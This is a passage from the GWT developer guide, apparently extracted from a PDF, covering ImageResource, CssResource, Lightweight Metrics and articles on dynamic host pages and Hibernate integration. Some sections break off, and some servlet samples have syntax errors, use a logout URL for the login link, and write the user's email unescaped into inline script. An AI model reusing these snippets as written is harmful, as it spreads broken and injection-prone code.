Provide access to image data at runtime in the most efficient way possible Do not bind the ImageResource API to a particular widget framework
Non-Goals
To provide a general-purpose image manipulation framework.
Overview
1. Define a ClientBundle with one or more ImageResource accessors. For each accessor method, add an @Source annotation with the path of the new image you want to add to your program. The ClientBundle generator combines all of the images defined in your interface into a single, optimized image.
interface Resources extends ClientBundle { @Source("logo.png") ImageResource logo(); @Source("arrow.png") @ImageOptions(flipRtl = true) ImageResource pointer(); }
2. Instantiate the ClientBundle via a call to GWT.create(). 3. Instantiate one or more Image widget or use with the CssResource @sprite directive. For example, the code:
Resources resources = GWT.create(Resources.class); Image img = new Image(resources.logo());
causes GWT to load the composite image generated for Resources and then creates an Image that is the correct subregion for just the logo image.
ImageOptions
The @ImageOptions annotation can be applied to the ImageResource accessor method in order to tune the compiletime processing of the image data: flipRtl is a boolean value that will cause the image to be mirrored about its Y-axis when LocaleInfo.isRTL() returns true. repeatStyle is an enumerated value that is used in combination with the@sprite directive to indicate that the image is intended to be tiled.
Supported formats
ImageBundleBuilder uses the Java ImageIO framework to read image data. This includes support for all common web image formats. Animated GIF files are supported by ImageResource. While the image data will not be incorporated into an image strip, the resource is still served in a browser-optimal fashion by the larger ClientBundle framework. 389 / 469
4.15.3.5. GwtCreateResource
The GwtCreateResource is a bridge type between ClientBundle and any other (resource) type that is defaultinstantiable. The instance of the GwtCreateResource acts as a factory for some other type.
interface Resources extends ClientBundle { Resources INSTANCE = GWT.create(Resources.class); @ClassType(SomeClass.class) GwtCreateResource<ReturnType> factory(); } // Elsewhere ReturnType obj = Resources.INSTANCE.factory().create();
it allows the consuming classes to be ignorant of the specific class literal passed into GWT.create(). It is not necessary for there to be a specific deferred-binding rule in place for SomeClass as long as that type is default-instantiable.
4.15.3.6. CssResource
This section describes CssResource and the compile-time processing of CSS. 1. Goals 2. Overview 3. Features Constants Runtime substitution Value function Literal function Conditional CSS Image Sprites References to Data Resources RTL support Selector obfuscation 4. Optimizations Basic minification Selector merging Property merging 5. Levers and Knobs 6. Selector obfuscation details Strict scoping Scope Shared scopes Imported scopes External and legacy scopes Automatically generating interfaces See also the CssResourceCookbook and StyleInjector.
390 / 469
Goals
Primary Compatibility with non-GWT-aware CSS parsers (i.e. any extensions should be valid CSS syntax) This does not imply that the stylesheet would necessarily make sense if you just displayed it in a browser
Syntax validation Minification Leverage GWT compiler Different CSS for different browsers, automatically Static evaluation of content
Secondary Basic CSS Modularization Via dependency-injection API style Widgets can inject their own CSS only when it's needed
BiDi (Janus-style?) CSS image strips "Improve CSS" Constants Simple expressions
Tertiary Runtime manipulation (StyleElement.setEnabled() handles many cases) Compile-time class-name checking (Java/CSS) Obfuscation
Non-Goals
Server-side manipulation All features in CssResource must be implemented with compile-time and runtime code only. No features may depend on runtime support from server-side code.
Overview
1. 2. 3. 4. Write a CSS file, with or without GWT-specific extensions If GWT-specific extensions are used, define a custom subtype of CssResource Declare a method that returns CssResource or a subtype in an ClientBundle When the bundle type is generated with GWT.create() a Java expression that evaluates to the contents of the stylesheets will be created
Except in the simplest case where the Java expression is a string literal, it is generally not the case that a CSS file could be generated into the module output 5. At runtime, call CssResource.ensureInjected() to inject the contents of the stylesheet This method is safe to call multiple times, as subsequent invocations will be a no-op The recommended pattern is to call ensureInjected() in the static initializer of your various widget types
391 / 469
Features
Constants
@def small 1px; @def black #000; border: small solid black;
The parse rules make it difficult to use delimiting tokens for substitutions Redefining built-in sizes allows users to write plain CSS to draft a style and then tweak it. Suggest that users use upper-case names, similar to static final members. Any legal property value or expression may be used with @def @def rules that define a single numeric value may be accessed in a manner similar to obfuscated class names by defining an accessor method on the CssResource type that returns a primitive numeric value.
interface MyResources extends CssResource { int small(); }
@def rules can be accessed as a String as well. You can retrieve the two definitions above with:
interface MyResources extends CssResource { String small(); String black(); }
The Generator will not allow you to declare an @def rule with the same name as a class, unless you annotate method to retrieve the class with the @ClassName annotation.
@def myIdent 10px; .myIdent { ... } interface MyResources extends CssResource { String myIdent(); @ClassName("myIdent") String myIdentClass(); }
Calling myIdent() returns @def value "10px" Calling myIdentClass() returns the obfuscated class name for .myIdent
Runtime substitution
@eval userBackground com.module.UserPreferences.getUserBackground(); div { background: userBackground; }
Provides runtime support for evaluating static methods when the stylesheet is injected. Triggered / dynamic updates could be added in the future if we allow programmatic manipulation of the style elements. If the user-defined function can be statically evaluated by the compiler, then the implementation of the specific CssResource should collapse to just a string literal.
This allows easy support for non-structural skinning changes. 392 / 469
Value function
.myDiv { offset-left: value('imageResource.getWidth', 'px'); }
The value() function takes a sequence of dot-separated identifiers and an optional suffix. The identifiers are interpreted as zero-arg method invocations, using the interface passed to GWT.create() as the root namespace. By only allowing zero-arg methods, there's no need to attempt to perform type checking in the Generator. The only validation necessary is to ensure that the sequence of methods exists. There may be arbitrarily many identifiers in the chain. The value() function may be combined with @def
@def SPRITE_WIDTH value('imageResource.getWidth', 'px') .selector { width: SPRITE_WIDTH; }
Literal function
Some user agents make use of property values that do not conform to the CSS grammar. The literal() function exists to allow these non-standard property values to be used.
div-with-literal { top: literal("expression(document.compatMode==\"CSS1Compat\" ? documentElement.scrollTop : document.body.scrollTop \\ 2)"); }
Note that it is necessary to escape the backslash (\) and double-quote (") characters.
Conditional CSS
/* Runtime evaluation in a static context */ @if (com.module.Foo.staticBooleanFunction()) { ... css rules ... } /* Compile-time evaluation */ @if <deferred-binding-property> <space-separated list of values> { ... css rules ... } @if user.agent safari gecko1_8 { ... } @if locale en { ... } /* Negation is supported */ @if !user.agent ie6 opera { ... } /* Chaining is also supported */ @if (true) { } @elif (false) { } @else { }
This allows for more advanced skinning / theming / browser quirk handling by allowing for structural changes in the CSS. The contents of an @if block can be anything that would be a top-level rule in a CSS stylesheet. @if blocks can be arbitrarily nested. What does it mean to have an @def or @eval in an @if block? Easy to make this work for property-based @if statements; would have to generate pretty gnarly runtime code to handle the expression-based @if statement. Could have block-level scoping; but this seems like a dubious use-case. If the function in the first form can be statically evaluated by the compiler in a permutation, there is no runtime cost. The second form will never have a runtime cost because it is evaluated during compilation.
393 / 469
Image Sprites
@sprite .mySpriteClass {gwt-image: "imageAccessor"; other: property;} => generates => .mySpriteClass { background-image: url(gen.png); clip: ...; width: 27px; height: 42px; other: property; } interface MyCssResource extends CssResource { String mySpriteClass(); } class MyResources extends ClientBundle { @Source("my.css") MyCssResource css(); @Source("some.png") ImageResource imageAccessor(); @Source("some.png") @ImageOptions(repeatStyle=RepeatStyle.Horizontal) ImageResource repeatingImage(); }
@sprite is sensitive to the FooBundle in which the CSSResource is declared; a sibling ImageResource method named in the @sprite declaration will be used to compose the background sprite. @sprite entries will be expanded to static CSS rules, possibly with data: urls. The expansion is sensitive to any RepeatStyle value defined on the ImageResource accessor function. The appropriate repeat-x or repeat-y properties will be added to the @sprite selector. Any CSS selector can be specified for @sprite. Support for IE6 isn't feasible in this format, because structural changes to the DOM are necessary to implement a "windowing" effect. Once it's possible to distinguish ie6 and ie7 in user.agent, we could revisit support for ie6. In the current implementation, the ie6 code won't render correctly, although is a purely cosmetic issue.
The identifier will be expanded to url('some_url') based on the return value of DataResource.getUrl().
RTL support
CssResource supports automatic transformations of CSS code into a right-to-left variant at compile time. The use of the RTL variant is keyed by com.google.gwt.i18n.client.LocaleInfo.getCurrentLocale().isRTL() Transformations applied: The left and right properties are flipped. Any properties that have values left or right are flipped: clear float text-align pagebreak-before page-break-after The background/background-position property is flipped. Attachments expressed in percentage points are mirrored: 40% becomes 60% margin padding border-color border-style and border-width four-valued properties are flipped: 1px 2px 3px 4px becomes 1px 4px 3px 2px 394 / 469
Any xyz-right or xzy-right-abc property is flipped to xzy-left or xzy-left-abc The direction property on a body selector will be flipped from ltr to rtl; on any other selectors, the direction property is unchanged When the cursor property has an resize value, it will be flipped: ne-resize becomes nw-resize
Sections of CSS can be exempted from automatic flipping by enclosing it in a @noflip block:
@noflip { .selector { left: 10; } }
A background property value that uses pixel-based offsets, such as background-position: 4px 10px; will not be transformed automatically. The four-valued CSS3 background-position property will be automatically flipped by the RTL support
background-position: left 4px top 10px;
ImageResources can be automatically flipped in RTL contexts via the use of the @ImageOptions annotation:
@Source("icon128.png") @ImageOptions(flipRtl = true) ImageResource logo();
Selector obfuscation
java: class Resources { MyCSSResource myCSSResource(); } class MyCSSResource extends CSSResource { Sprite mySpriteClass(); String someOtherClass(); String hookClass(); } myWidget.addStyleName(resource.mySpriteClass()); css: @sprite mySpriteClass mySpriteImage; .someOtherClass { /* ... */ } .hookClass{} /* Empty and stripped, but left for future expansion */
The function just returns the CSS class name, but verifies that the CSS class exists in the stylesheet. Accessing class names through the interface ensures that there can be no typos in code that consumes the CssResource. For obfuscation, we'll use a Adler32 checksum of the source css file expressed in base36 as a prefix (7 chars). The developer can override this with the CssResource.obfuscationPrefix deferred-binding property.
395 / 469
<set-configuration-property name="CssResource.obfuscationPrefix" value="empty" /> can be used for minimal-length selector names, but this is only recommended when the GWT module has total control over the page.
The @external at-rule can be used to selectively disable obfuscation for named selectors; see external and legacy scopes for additional detail.
Optimizations
Basic minification
Basic minification of the CSS input results in the minimum number of bytes required to retain the original structure of the input. In general, this means that comments, unnecessary whitespace, and empty rules are removed.
.div { /* This is the default background color */ background: blue; } .empty {}
Selector merging
Rules with identical selectors can be merged together.
.div {prop: value;} .div {foo: bar;}
becomes
.div {prop:value;foo:bar;}
However, it is necessary that the original semantic ordering of the properties within the CSS is preserved. To ensure that all selector merges are correct, we impose the restriction that no rule can be promoted over another if the two rules define a common property. We consider border and border-top to be equivalent properties, however padding-left and padding-right are not equivalent. Thus
.a {background: green;} .b {border: thin solid blue;} .a {border-top: thin solid red;}
cannot be merged because an element whose CSS class matches both .a and .b would be rendered differently based on the exactly order of the CSS rules. When working with @if statements, it is preferable to work with the form that operates on deferred-binding properties because the CSS compiler can evaluate these rules statically, before the merge optimizations. Consider the following:
.a { background: red; } @if user.agent safari { .a { \-webkit-border-radius: 5px; } } @else { .a { background: url('picture_of_border.png'); } }
396 / 469
In the safari permutation, the rule becomes .a{background:red;\-webkit-border-radius:5px;} while in other permutations, the background property is merged.
Property merging
Rules with identical properties can be merged together.
.a {background: blue;} .b {background: blue;}
Promotion of rules follows the previously-established rule of not promoting a rule over other rules with common properties.
397 / 469
Scope
Scoping of obfuscated class names is defined by the return type of the CssResource accessor method in the resource bundle. Each distinct return type will return a wholly separate collection of values for String accessor methods.
interface A extends CssResource { String foo(); } interface B extends A { String foo(); } interface C extends A { String foo(); } interface D extends C { // Intentionally not defining foo() } interface Resources { A a(); A a2(); B b(); C c(); D d(); D d2();
It will be true that a().foo() != b().foo() != c().foo() != d().foo(). However, a().foo() == a2().foo() and d().foo() == d2().foo().
Shared scopes
In the case of "stateful" CSS classes like focused or enabled, it is convenient to allow for certain String accessor functions to return the same value, regardless of the CssResource type returned from the accessor method.
@Shared interface FocusCss extends CssResource { String focused(); String unfocused(); } interface A extends FocusCss { String widget(); } interface B extends FocusCss { String widget(); } interface C extends B { // Intentionally empty } interface Resources { A a(); B b(); C c(); FocusCss f(); }
In this example, a().focused() == b().focused() == c().focused == f().focused(). However, a().widget() != b().widget != c.widget(), as in the previous example. The short version is that if distinct CSS types need to share obfuscated class names, the CssResource subtypes to which they are attached must share a common supertype that defines accessors for those names and has the @Shared annotation.
398 / 469
Imported scopes
The Java type system can be somewhat ambiguous when it comes to multiple inheritance of interfaces that define methods with identical signatures, although there exist a number of cases where it is necessary to refer to multiple, unrelated CssResource types. Consider the case of a Tree that contains Checkboxes.
@ImportedWithPrefix("tree") interface TreeCss extends CssResource { String widget(); } @ImportedWithPrefix("checkbox") interface CbCss extends CssResource { String widget(); } interface MyCss extends CssResource { String other(); } interface Resources extends ClientBundle { @Import({TreeCss.class, CbCss.class}) MyCss css(); } /* Now we can write a descendant selector using the prefixes defined on the CssResource types */ .tree-widget .checkbox-widget { color: red; } .other { something: else; }
Composing a "TreeCbCss" interface would be insufficient because consumers of the TreeCss interface and CbCss interface would receive the same value from the widget method. Moreover, the use of just .widget in the associated CSS file would also be insufficient without the use of some kind of class selector prefix. The prefix is defined on the CssResource type (instead of on the CssResource accessor method) In the interest of uniformity across all CSS files that import a given scope. It is a compile-time error to import multiple classes that have the same prefix or simple name. The case of shared scopes could be handled solely with importing scopes, however this form is somewhat more verbose and relationships between unrelated scopes is less common than the use of stateful selectors.
The file stackPanel.css defines the basic structure of any given stackPanel:
.widget .title {} .widget .content {} /* Other stuff to make a StackPanel work */
399 / 469
The outer() method can continue to use the base stackPanel.css file, because the accessor methods defined in StackPanelCss are mapped into the default (no-prefix) namespace. The inner StackPanel's style members are also available, but in the inner prefix. Here's what outer.css might contain:
.widget {color: red;} .inner-widget { color: blue; font-size: smaller; }
In the above example, the .obfuscated class selector will be obfuscated, and the obfuscated() method will return the replaced name. Neither of the legacy selectors will be obfuscated and the legacySelectorA() method will return the unobfuscated value. Furthermore, because the legacySelectorB is explicitly defined in the @external declaration, the inaccessible class name will not trigger an error.
The generated interface will be emitted to System.out. The -standalone option will add the necessary package and import statements to the output so that it can be used as part of a build process.
400 / 469
4.15.3.7. CssResourceCookbook
This section contains examples showing how to use CssResource.
Browser-specific css
.foo { background: green; } @if user.agent ie6 { /* Rendering fix */ .foo { position: relative; } } @elif user.agent safari { .foo { \-webkit-border-radius: 4px; } } @else { .foo { font-size: x-large; } }
All instances of a selector with .className will be replaced with an obfuscated symbol when the CSS is compiled. To use the obfuscated name:
MyResources resources = GWT.create(MyResources.class); Label l = new Label("Some text"); l.addStyleName(resources.css().className());
If you have class names in your css file that are not legal Java identifiers, you can use the @ClassName annotation on the accessor method:
interface MyCss extends CssResource { @ClassName("some-other-name") String someOtherName(); }
401 / 469
In my.css, sprites are defined using the @sprite keyword, followed by an arbitrary CSS selector, and the rule block must include a gwt-image property. The gwt-image property should name the ImageResource accessor function.
@sprite .myImage { gwt-image: 'image'; }
The elements that match the given selection will display the named image and have their heights and widths automatically set to that of the image.
Tiled images
If the ImageResource is decorated with an @ImageOptions annotation, the source image can be tiled along the X- or Y-axis. This allows you to use 1-pixel wide (or tall) images to define borders, while still taking advantage of the image bundling optimizations afforded by ImageResource.
interface MyResources extends ClientBundle { @ImageOptions(repeatStyle = RepeatStyle.Horizontal) @Source("image.png") ImageResource image(); }
The elements that match the @sprite's selector will only have their height or width set, based on the direction in which the image is to be repeated.
9-boxes
In order to make the content area of a 9-box have the correct size, the height and widths of the border images must be taken into account. Instead of hard-coding the image widths into your CSS file, you can use the value() CSS function to insert the height or width from the associated ImageResource.
402 / 469
public interface Resources extends ClientBundle { Resources INSTANCE = GWT.create(Resources.class); @Source("bt.png") @ImageOptions(repeatStyle = RepeatStyle.Horizontal) ImageResource bottomBorder(); @Source("btl.png") ImageResource bottomLeftBorder(); @Source("btr.png") ImageResource bottomRightBorder(); @Source("StyleInjectorDemo.css") CssResource css(); @Source("lr.png") @ImageOptions(repeatStyle = RepeatStyle.Vertical) ImageResource leftBorder(); @Source("rl.png") @ImageOptions(repeatStyle = RepeatStyle.Vertical) ImageResource rightBorder(); @Source("tb.png") @ImageOptions(repeatStyle = RepeatStyle.Horizontal) ImageResource topBorder(); @Source("tbl.png") ImageResource topLeftBorder(); @Source("tbr.png") ImageResource topRightBorder(); } .contentArea { padding: value('topBorder.getHeight', 'px') value('rightBorder.getWidth', 'px') value('bottomBorder.getHeight', 'px') value('leftBorder.getWidth', 'px'); } @sprite .contentAreaTopLeftBorder { gwt-image: 'topLeftBorder'; position: absolute; top:0; left: 0; } @sprite .contentAreaTopBorder { gwt-image: 'topBorder'; position: absolute; top: 0; left: value('topLeftBorder.getWidth', 'px'); right: value('topRightBorder.getWidth', 'px'); } @sprite .contentAreaTopRightBorder { gwt-image: 'topRightBorder'; position: absolute; top:0; right: 0; } @sprite .contentAreaBottomLeftBorder { gwt-image: 'bottomLeftBorder'; position: absolute; bottom: 0; left: 0; } @sprite .contentAreaBottomBorder { gwt-image: 'bottomBorder'; position: absolute; bottom: 0; left: value('bottomLeftBorder.getWidth', 'px'); right: value('bottomRightBorder.getWidth', 'px'); } @sprite .contentAreaBottomRightBorder { gwt-image: 'bottomRightBorder'; position: absolute; bottom: 0; right: 0; } @sprite .contentAreaLeftBorder { gwt-image: 'leftBorder'; position: absolute; top: 0; left: 0; height: 100%; }
403 / 469
@sprite .contentAreaRightBorder { gwt-image: 'rightBorder'; position: absolute; top: 0; right: 0; height: 100%; } <div class="contentArea"> <div class="contentAreaTopLeftBorder"></div> <div class="contentAreaTopBorder"></div> <div class="contentAreaTopRightBorder"></div> <div class="contentAreaBottomLeftBorder"></div> <div class="contentAreaBottomBorder"></div> <div class="contentAreaBottomRightBorder"></div> <div class="contentAreaLeftBorder"></div> <div class="contentAreaRightBorder"></div> </div>
404 / 469
4.15.4.
Lightweight Metrics
The Lightweight Metrics system is a useful tool to find key areas where latency may be noticeable to your end users. Some of the advantages of the system are: It's a negligible cost system with very little overhead It's already wired for reporting metrics on application load time and RPC calls You can profile multiple GWT modules at the same time It can be extended for your own measurement needs
The Debug Panel for GWT, developed by Google engineers and GWT contributors, uses the Lightweight Metrics system. It provides an easy way to collect metrics as well as test your GWT application. You can read more details about the features of the tool in this blog post. 1. 2. 3. 4. How it works Measurable events already in-place Extending the Lightweight Metrics system for your own events Measuring multiple modules simultaneously
How it works
Lightweight Metrics System Events
The Lightweight Metrics system is composed of sets of events that you're interested in tracking and a global collector method that is responsible for evaluating these events and reporting metrics. For example, when loading a GWT application, the steps involved in the process consist of bootstrapping the application, loading external references, and starting up the GWT module. Each of these steps further break down into dowloading the bootstrap script, selecting the right permutation of your application to load, fetching the permutation, and so on. This is illustrated in the Lightweight Metrics design doc (see GWT Startup Process diagram). Each of the smaller steps, like selecting the correct permutation of the application to load, can be represented as events you would like to measure in the overall application load time. The events themselves are standard JSON objects that contain the following information:
{
moduleName : <Module name>, subSystem : <Subsystem name>, evtGroup : <Event group>, millis : <Current time in millis>, type : <Event type>
The moduleName is the name of your GWT module. The subSystem refers to the specific component that is emitting these events in your GWT application (for example, the GWT RPC subsystem). The evtGroup is analogous to a grouping of related events that can be assumed to follow a serial order. The millis field contains the timestamp when the event was emitted, and the type field indicates the actual method or step that was run and emitted the event. Each (moduleName, subSystem, evtGroup, type) tuple can be interpreted as a checkpoint in an event group. In the GWT Startup Process, the event for selecting a permutation might look something like:
{ moduleName : 'Showcase', subSystem : 'startup', evtGroup : 'bootstrap', millis : new Date().getTime(); type : 'selectingPermutation'
405 / 469
406 / 469
Next, add calls before and after the code you want to profile in the createWidget() method, as shown below:
public FlexTable createWidget() { FlexTable listings = new FlexTable(); double startTime = Duration.currentTimeMillis(); StatsEventLogger.logEvent(GWT.getModuleName(), "listings", "loadListings", startTime, "begin"); loadListings(listings, range); double endTime = Duration.currentTimeMillis(); StatsEventLogger.logEvent(GWT.getModuleName(), "listings", "loadListings", endTime, "end"); return listings; }
407 / 469
5.
5.1.
Articles
Jason Hall, Software Engineer It's a common enough problem: you want to show your GWT-based app only to users who are logged in. In this article, we'll take a look at several ways to accomplish this with a preference for those that make efficient use of the network. 1. 2. 3. 4. Static host page with RPC Security constraint in web.xml Servlet as host page Template-based host page
Let's examine everything that happens here if the user isn't logged in: 1. Your app is requested and your GWT host page (YourModule.html) is downloaded 2. module.nocache.js is requested by the page and is downloaded 3. MD5.cache.html is selected based on the browser and is downloaded 4. Your module loads and makes a GWT-RPC call to check if the user is logged in -- since they're not, they are redirected to the login page That's up to four server requests (depending on what is cached) just to send your user to the login page. And step 3 consists of downloading your entire GWT app, just to send your user away. Even if you take advantage of code-splitting, at least some of your code has to be downloaded in order to check if the user is logged in. The ideal solution would be to only serve your GWT code if the user is authenticated. That is, never get to step 2 unless the user is logged in.
public class GwtHostingServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType("text/html"); resp.setCharacterEncoding("UTF-8"); // Print a simple HTML page including a <script> tag referencing your GWT module as the response PrintWriter writer = resp.getWriter(); writer.append("<html><head>") .append("<script type=\"text/javascript\" src=\"sample/sample.nocache.js\"></script>") .append("</head><body><p>Hello, world!</p></body></html>"); } }
The response this servlet sends will load and execute your GWT code just as if it had been referenced in a static HTML host page. But now that we're writing the HTML in a servlet, we can change the content of the page being served on a request-by-request basis. This lets us start doing some more interesting things. The following example uses the App Engine Users API to see if the user is logged in. Even if you're not using App Engine, you can imagine how the code would look slightly different in your servlet environment.
// In GwtHostingServlet's doGet() method... PrintWriter writer = resp.getWriter(); writer.append("<html><head>"); UserService userService = UserServiceFactory.getUserService(); if (userService.isLoggedIn()) { // Add a <script> tag to serve your app's generated JS code writer.append("<script type=\"text/javascript\" src=\"sample/sample.nocache.js\"></script>") writer.append("</head><body>"); // Add a link to log out writer.append("<a href=\" + userService.createLogoutUrl("/") + "\">Log out</a>"); } else { writer.append("</head><body>"); // Add a link to log in writer.append("<a href=\" + userService.createLogoutUrl("/") + "\">Log in</a>"); } writer.append("</body></html>");
This servlet will now serve your GWT code only to logged-in users, and will show a link on the page to log in or out. But there's even more fun stuff we can do with this dynamic hosting servlet. Suppose you want to pass some data like the user's email address from the servlet to the GWT code so that it is available as soon as the GWT module loads. You could make a GWT-RPC call in your onModuleLoad() method to get this data, but that means you're making one request to download your GWT module, then immediately making another request to get this data. A more efficient way is to write the initial data as a Javascript variable into the host page itself.
// In GwtHostingServlet's doGet() method... writer.append("<html><head>"); writer.append("<script type=\"text/javascript\" src=\"sample/sample.nocache.js\"></script>") // Open a second <script> tag where we will define some extra data writer.append("<script type=\"text/javascript\">"); // Define a global JSON object called "info" which can contain some simple key/value pairs writer.append("var info = { "); // Include the user's email with the key "email" writer.append("\"email\" : \"" + userService.getCurrentUser().getEmail() + "\""); // End the JSON object definition writer.append(" };"); // End the <script> tag writer.append("</script>"); writer.append("</head><body>Hello, world!</body></html>");
Now your GWT code can access the data using JSNI, like so:
public native String getEmail() /*-{ return $wnd.info['email']; }-*/;
409 / 469
public void onModuleLoad() { // Looks for a JS variable called "info" in the global scope Dictionary info = Dictionary.getDictionary("info"); String email = info.get("email"); Window.alert("Welcome, " + email + "!"); }
You can make this JSP page your welcome file by specifying it in your web.xml file:
<welcome-file-list> <welcome-file>gwt-hosting.jsp</welcome-file> </welcome-file-list>
These are some basic examples of how to minimize HTTP requests by hosting your GWT app dynamically. With these techniques, you should be able to eliminate GWT-RPC requests being made as soon as the module loads, which means less waiting for the user and a noticeably faster GWT application.
410 / 469
5.2.
Sumit Chandel, Google Developer Relations July 2009 (with thanks to Bruno Marchesson for his contributions to this article) Many developers have asked how to use GWT and Hibernate together. Although you can find numerous discussions about this topic on the GWT Developer Forum, we thought it would be beneficial to sum up some of the most popular strategies, and highlight their advantages and shortcomings in the context of GWT application development. Before we get into integration strategies, let's get familiar with the basics.
The Basics
For the purposes of this article, we're going to assume that the reader is already familiar with Hibernate configuration and usage on the server-side. If you'd like to know more about Hibernate and how it works, the getting started tutorial posted on the Hibernate homepage is strongly recommended. Also, to get up and running with persistence for our Hibernate objects, we'll be using HSQLDB which provides an inmemory Hibernate SQL database. You can download this here. Again, we won't talk too much about how HSQLDB works, but we will cover just enough to get it running for the examples we'll see here. Let's start out with a simple example. Suppose we're developing an online music record store. An obvious domain object in such a application would be a Record object that we would want to persist on the server-side and display on the client-side. We would also want users to be able to create accounts and add music records to their profiles online. It would also make sense for us to create an Account object that we'll want to persist. So let's create these two classes. Record.java
public class Record implements Serializable { private Long id; private String title; private int year; private double price; public Record() { } public Record(Long id) { this.id = id; } } // Along with corresponding getters + setters.
Account.java
public class Account implements Serializable { Long id; String name; String password; Set<Record> records; public Account() { } public Account(Long id) { this.id = id; } public void addRecord(Record record) { if (records == null) { records = new HashSet<Record>(); } records.add(record); } public void removeRecord(Record record) { if (records == null) {
411 / 469
} }
return; } records.remove(record);
Then we need to create the corresponding Hibernate mapping files for each of these persisted types, like so: Record.hbm.xml
<hibernate-mapping> <class name="com.google.musicstore.domain.Record" table="RECORD"> <id name="id" column="RECORD_ID"> <generator class="native>/> </id> <property name="title"/> <property name="year"/> <property name="price"/> </class> </hibernate-mapping>
Account.hbm.xml
<hibernate-mapping> <class name="com.google.musicstore.domain.Account" table="ACCOUNT"> <id name="id" column="ACCOUNT_ID"> <generator class="native"/> </id> <property name="name"/> <property name="password"/> <set name="records" table="ACCOUNT_RECORD" lazy="true"> <key column="ACCOUNT_ID"/> <many-to-many column="RECORD_ID" class="com.google.musicstore.domain.Record"/> </set> </class> </hibernate-mapping>
Now that we've created our persistent classes, let's create a bare bones UI that will allow us to enter new accounts and records, as well as the GWT RPC services that will persist them on the server-side. Let's start with the RPC services. We won't go into the specifics of the role each RPC component plays here, but if you're unfamiliar with the GWT RPC subsystem, check out the GWT RPC docs to get up to speed. First, we create the client-side service interfaces. If you'd like to avoid the large number of interface methods listed below, consider using the Command pattern, as described here: MusicStoreService.java
@RemoteServiceRelativePath("musicservice") public interface MusicStoreService extends RemoteService { public List<Account> getAccounts(); public List<Record> getRecords(); public Long saveAccount(Account account); public Long saveRecord(Record record); public void saveRecordToAccount(Account account, Record record); }
412 / 469
MusicStoreServiceAsync.java
public interface MusicStoreServiceAsync { public void getAccounts(AsyncCallback<List<Account>> callback); public void getRecords(AsyncCallback<List<Record>> callback); public void saveAccount(Account accountDTO, AsyncCallback<Long> callback); public void saveRecord(Record record, AsyncCallback<Long> callback); public void saveRecordToAccount(Account accountDTO, Record recordDTO, AsyncCallback<Void> callback); }
413 / 469
You may have noticed some HibernateUtil calls in the MusicStoreServiceImpl method implementations in the code snippet above. This is actually a custom class that was created as a helper utility to retrieve and use the Hibernate session factory, exactly as is done in the Hibernate tutorial mentioned earlier. For convenience, here is the HibernateUtil code pasted below so you can follow along. If you want to learn more details about what the HibernateUtil class is doing, I strongly advise checking out the tutorial for a full explanation.
public class HibernateUtil { private static final SessionFactory sessionFactory; static { try { // Create the SessionFactory from hibernate.cfg.xml sessionFactory = new Configuration().configure().buildSessionFactory(); } catch (Throwable ex) { // Make sure you log the exception, as it might be swallowed System.err.println("Initial SessionFactory creation failed." + ex); throw new ExceptionInInitializerError(ex); } } public static SessionFactory getSessionFactory() { return sessionFactory; }
Finally, our server-side GWT RPC services are ready to CRUD our Hibernate objects (actually, we skipped the Delete functionality). Now we just need an interface to actually make the RPC calls. I've created a sample application with a UI that will allow us to add records, add accounts, add records to accounts and of course view all existing accounts and their associated records. The sample code is not representative of best practices, just a quick and dirty implementation to get us up and running. The sample also includes the server-side RPC and Hibernate code we've worked on up to this point. You can download the sample here. In the example source code, you'll find a build.xml file and a build.properties file in the root directory. After properly configuring the gwt.home and gwt.dev.jar properties for your machine, you can use Ant to build the project, as well as start up hosted mode to see the UI and our Hibernate instance setup in the embedded Jetty server. Just run the following from command line:
ant build hosted
414 / 469
Before doing that, though, we'll need to have our in-memory HSQLDB up and running so we can persist our Hibernate objects. In the example project you downloaded, you should find 'data' folder under the project root directory. You'll also find the hsqldb.jar in the lib folder. All we need to do to start up the in-memory HSQLDB is invoke the org.hsqldb.Server class contained in the hsqldb.jar file, while in the 'data' directory to host the HSQLDB properties and log output. You can do this by running the following from command line (while in the 'data' directory):
java -cp ../lib/hsqldb.jar org.hsqldb.Server
Now that we have our persistence layer ready, let's compile and run our application in hosted mode using the ant command above. Once both build and hosted ant tasks have completed, you should see the hosted mode browser startup, with the "Add Accounts / Records" tab displayed. Finally, we can start persisting our records (from the GWT client-side to the Hibernate database, using our Hibernate objects!). Go ahead and try adding an account and a a record to our in-memory Hibernate to get our data set started. Next, try selecting the "Add Records To Account" panel to add our newly created record to the also newly created account. Chances are, you'll get an error message along the lines of the screenshot below.
Why Hibernate objects can't be understood when they reach the browser world
So what went wrong? Looking at the hosted mode console, you'll notice the warning message "Exception while dispatching incoming RPC call" was logged to the console. Selecting the warning message, the lower pane will display a rather long stack trace. This is the part to pay attention to:
415 / 469
Caused by: com.google.gwt.user.client.rpc.SerializationException: Type 'org.hibernate.collection.PersistentSet' was not included in the set of types which can be serialized by this SerializationPolicy or its Class object could not be loaded. For security purposes, this type will not be serialized. at com.google.gwt.user.server.rpc.impl.StandardSerializationPolicy.validateSerialize(StandardSerializ ationPolicy.java:83) at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serialize(ServerSerializationS treamWriter.java:591)
The key here is the SerializationException that was thrown when we tried to load up and retrieve accounts. So what exactly went wrong? Well, as you may have read in the GWT RPC docs, a SerializationException is thrown whenever a type transferred over RPC is not "serializable". The definition of serializable here means that the GWT RPC mechanism knows how to serialize and deserialize the type from bytecode to JSON and vice-versa. To declare a type as serializable to the GWT compiler, you can either make the type to be transferred over RPC implement the IsSerializable interface, especially created for this purpose, or implement the standard java.io.Serializable interface, provided that its members and methods consist of types that are also serializable. In the case of the Account and Record Hibernate objects, we are implementing the Serializable interface, so these should work, shouldn't they?. As it turns out, the devil is in the details. When you take an object and turn it into a Hibernate object, the object is now enhanced to be persistent. That persistence does not come without some type of instrumentation of the object. In the case of Hibernate, the Javassist library actually replaces and rewrites the bytecode for these objects by persistent entities to make the Hibernate magic work. What this means for GWT RPC is that by the time the object is ready to be transferred over the wire, it actually isn't the same object that the compiler thought was going to be transferred, so when trying to deserialize, the GWT RPC mechanism no longer knows what the type is and refuses to deserialize it. In fact, if you were to look deeper to the earlier call to loadAccounts(), and step into the RPC.invokeAndEncodeResponse() method, you would see that the object we're trying to deserialize has now become an ArrayList of Account types with their java.util.Set of records replaced by the org.hibernate.collection.PersistentSet type. Similar problems arise with other persistence frameworks, such as JDO or JPA, used on Google App Engine. A potential solution would be to replace the types once more in the opposite direction before returning through the server-side RPC call. This is doable, and would solve the problem we encountered here, but we wouldn't be out of harm's way just yet. Another great benefit of using Hibernate is the fact that we 